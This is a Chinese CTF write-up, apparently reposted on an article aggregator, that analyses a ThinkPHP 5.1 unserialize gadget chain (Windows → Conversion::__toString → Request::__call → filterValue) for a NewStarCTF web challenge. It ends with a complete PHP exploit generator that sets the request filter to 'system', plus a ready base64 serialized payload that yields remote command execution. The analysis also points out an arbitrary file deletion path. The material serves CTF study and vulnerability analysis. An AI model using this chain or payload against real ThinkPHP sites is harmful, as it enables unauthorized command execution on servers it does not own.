基于一道ctf 引发的 TP链分析

这篇具有很好参考价值的文章主要介绍了基于一道ctf 引发的 TP链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

回看 newstarctf week 3 的web题
想了想看看tp链吧
这道题是tp5.1 的版本
链比5.0的 短而且清晰,基于我这个shaluan tp不知道为什么动态调试出了问题 ,就只能静态分析了
首先是定入口
这里5.0和5.1的入口都是一样的
think\process\pipes\Windows.php
基于一道ctf 引发的 TP链分析他的destruct方法会依次调用其close 方法 和removeFiles 方法
基于一道ctf 引发的 TP链分析close下没看出什么能利用的地方
基于一道ctf 引发的 TP链分析这里有个file_exists方法和一个unlink方法 如果有反序列化入口的话 那么这里就是一个任意文件删除了,
反序列化中有个__toString的魔术方法 如果将有该方法的类当作字符串来调用 就会触发这个魔术方法 这里的file_exists 就会触发这个方法
基于一道ctf 引发的 TP链分析搜一下这个方法这里可以全部点开看看发现只有第一个能有后续的操作
而且因为是漏洞分析所以可以明确指出是第一个类中的toString方法

来到这个Conversion.php中
基于一道ctf 引发的 TP链分析看到这个方法调用了 toJson的方法

基于一道ctf 引发的 TP链分析继续调用toArray的方法
在其中我们看到了这样的一个代码段
基于一道ctf 引发的 TP链分析因为上面都没有return的操作 所以肯定会执行到这里
首先判断$this->append 是否为空
基于一道ctf 引发的 TP链分析
这个是我们可控的,在一开始反序列化的时候直接传进去就可以了
如果不为空 则把 这个键名 拿出来 看看
这个getRelation方法是如何传参的
在RelationShip.php下找到了这个方法 为什么是这两个类后面讲
基于一道ctf 引发的 TP链分析看到如果我们不做其他操作是个空值
这样就会调用到getAttr方法
基于一道ctf 引发的 TP链分析只有一个Attribute有进去看看
基于一道ctf 引发的 TP链分析他下面是个return $value 所以看看这个 getData方法
基于一道ctf 引发的 TP链分析这里这个 $name是存在的因为就是我们一开始传进去的键名
因此会调用第一个elseif
基于一道ctf 引发的 TP链分析所以我们要在类中加一个 $data 的变量,也就是说这个
基于一道ctf 引发的 TP链分析
$relation是我们任意可控的了 然后会执行这个 visible的方法.
这里涉及到另一个魔术方法了 __call 如果调用了一个该类没有的方法那么会自动执行该类的__call方法
基于一道ctf 引发的 TP链分析
md有点多啊 ,这里需要找的是Request下面的call方法
基于一道ctf 引发的 TP链分析这里如果有动态调试能更清晰的看出结构, 这边可以讲一下 这个 $method就是上面那个不存在的visible方法
因此return 里面的方法是我们可控的 这个Request下有一个input 方法是之前惯用的恶意方法了
但是直接调用input 里面的参数是我们不可控的
在这个类中我们找到了isAjax的方法
基于一道ctf 引发的 TP链分析他会调用 param的方法
基于一道ctf 引发的 TP链分析看到 下面参数获取
$this->get 获取get请求的参数
后调用input
因此这个
基于一道ctf 引发的 TP链分析 $data实际就是 $_GET 获取的参数 在看看getFilter
基于一道ctf 引发的 TP链分析获取了 $this->filter 因此这里也是可控
基于一道ctf 引发的 TP链分析
着两个if都会调用filterValue 方法 一个是递归调用 一个调用一次
基于一道ctf 引发的 TP链分析
call_user_func 调用 $filter 方法 将 $value 作为参数
也就是说这里可以执行任意命令了
到这整条链就结束了下面直接手撸链吧
这里跟大家讲讲为什么会选 Conversion类 以及RelationShip类
基于一道ctf 引发的 TP链分析基于一道ctf 引发的 TP链分析
这两个类的定义都是trait,因此不能直接作为反序列化的引用我们需要去找哪个类调用过他们 ,最后结果还是那个令人眼熟的Model类
基于一道ctf 引发的 TP链分析Model类是个抽象类因此需要去找一个实现它的类
在5.0的版本中 有两个 一个是Merge 一个是Pivot
5.1中只剩个Pivot了
因此整条链的逻辑就出来了

destruct()->removeFiles()->toString()->toJson()->toArray()->__call()->isAjax()->param()->input()->filterValue()->rce

<?php
//命名空间一定要写不然它反序列化自己找不到这个类
namespace think\process\pipes;
use think\model\concern\Conversion;

use think\model\Pivot;

class Windows{
    private $files;
    function __construct(){
        $this->files[]=new Pivot();
    }
}


namespace think\model\concern;
trait Conversion{}
namespace think;
abstract class Model{
    use model\concern\Conversion;
    protected $append ;
    protected $data ;
    function __construct(){
    //这个只是为了进if循环然后两次的键值要对上管你怎么写都行
        $this->append=array('ctfstar'=>['1']);
        $this->data=array('ctfstar'=>new Request());
    }
}


namespace think;
class Request{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    protected $filter;
    protected $hook = [];
    function __construct(){
        $this->hook=array('visible'=>[$this,'isAjax']);
        //call_user_func_array($this->hook[$method], $args);
        //这个的经典写法了前面是类后面是方法
        $this->config=array('var_ajax'=>'');
        $this->filter='system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoxOiJhIjthOjE6e2k6MDtzOjE6IjEiO319czo3OiIAKgBkYXRhIjthOjE6e3M6MToiYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319fX19fX0=

然后回到buu上起一个靶机测试一下是否成功
基于一道ctf 引发的 TP链分析这个get传参的键名也随便传都ok的因为是从get里面取出来的,然后传多少个执行多少个
这是tp5.1的链 相较于5.0的两条算是流程较短的了文章来源地址https://www.toymoban.com/news/detail-488777.html

到了这里,关于基于一道ctf 引发的 TP链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 记一次线上问题引发的对 Mysql 锁机制分析

    最近双十一开门红期间组内出现了一次因 Mysql 死锁导致的线上问题,当时从监控可以看到数据库活跃连接数飙升,导致应用层数据库连接池被打满,后续所有请求都因获取不到连接而失败 整体业务代码精简逻辑如下: 数据库实例监控: 当时通过分析上游问题流量限流解决后

    2024年02月05日
    浏览(41)
  • MySQL next-key锁引发的死锁问题分析与处理

    当方法A被多线程并发执行的时候会偶现死锁问题,分析问题: 因为业务上有限制:每次并发执行方法A的时候,每个线程执行到sql里面的参数:data_name_en有可能是一样的,但是空间#{tenantId}肯定都是不一样的,也就是并发时候,线程1要删除和插入的数据一定和线程2要删除和插

    2024年02月11日
    浏览(39)
  • 一次不规范HTTP请求引发的nginx响应400问题分析与解决

    最近分析数据偶然发现nginx log中有一批用户所有的HTTP POST log上报请求均返回400,没有任何200成功记录,由于只占整体请求的不到0.5%,所以之前也一直没有触发监控报警,而且很奇怪的是只对于log上报的POST接口会存在这种特定用户全部400的情况,而对于其他接口无论POST还是

    2024年02月14日
    浏览(34)
  • 流量分析—ctf

    题目介绍 该题为流量分析,当黑客入侵我们的网络是,我们可以需要通过一系列分析操作来进行抓捕与追踪,本题目难度中等偏下,不是很有难度,但题目类型较为全面,适合入手当做练习。 一、题目背景 某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务

    2024年02月10日
    浏览(21)
  • CTF流量分析

    在CTF里,一些pcapng或pcap文件后缀的数据 不同的数据包有不同的协议,常见的有HTTP,TCP协议 简介 是一个网络封包分析软件。网络封包分析软件的功能是获取网络封包,并尽可能显示出最为详细的网络封包资料 使用WinPCAP作为接口,直接与网卡进行数据报文交换 HTTP三次握手

    2023年04月15日
    浏览(55)
  • 简单流量分析CTF(wireshark)

    没做过流量分析的题目,也不怎么了解怎么流量分析,准备系统的理一下思路。。 这有第一个小题目。通过几个题目来了解wireshark的使用以及流量分析吧。。 bugku的杂项题目。 链接:https://pan.baidu.com/s/1OnO7OXIQB8ztl8J2q48jBA 提取码:1111 这是一个 pacp文件  是一种常用的数据报存

    2024年02月07日
    浏览(28)
  • TP 5.0.24反序列化漏洞分析

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出

    2024年01月17日
    浏览(37)
  • 工控CTF之协议分析5——COTP

    流量分析 主要以工控流量和恶意流量为主,难度较低的题目主要考察Wireshark使用和找规律,难度较高的题目主要考察协议定义和特征 简单只能简单得干篇一律,难可以难得五花八门 常见的工控协议有:Modbus、MMS、IEC60870、MQTT、CoAP、COTP、IEC104、IEC61850、S7comm、OMRON等 由于工控

    2024年02月04日
    浏览(22)
  • 工控CTF之协议分析4——MQTT

    流量分析 主要以工控流量和恶意流量为主,难度较低的题目主要考察Wireshark使用和找规律,难度较高的题目主要考察协议定义和特征 简单只能简单得干篇一律,难可以难得五花八门 常见的工控协议有:Modbus、MMS、IEC60870、MQTT、CoAP、COTP、IEC104、IEC61850、S7comm、OMRON等 由于工控

    2024年02月05日
    浏览(46)
  • 工控CTF之协议分析1——Modbus

    流量分析 主要以工控流量和恶意流量为主,难度较低的题目主要考察Wireshark使用和找规律,难度较高的题目主要考察协议定义和特征 简单只能简单得干篇一律,难可以难得五花八门 常见的工控协议有:Modbus、MMS、IEC60870、MQTT、CoAP、COTP、IEC104、IEC61850、S7comm、OMRON等 由于工控

    2024年02月02日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包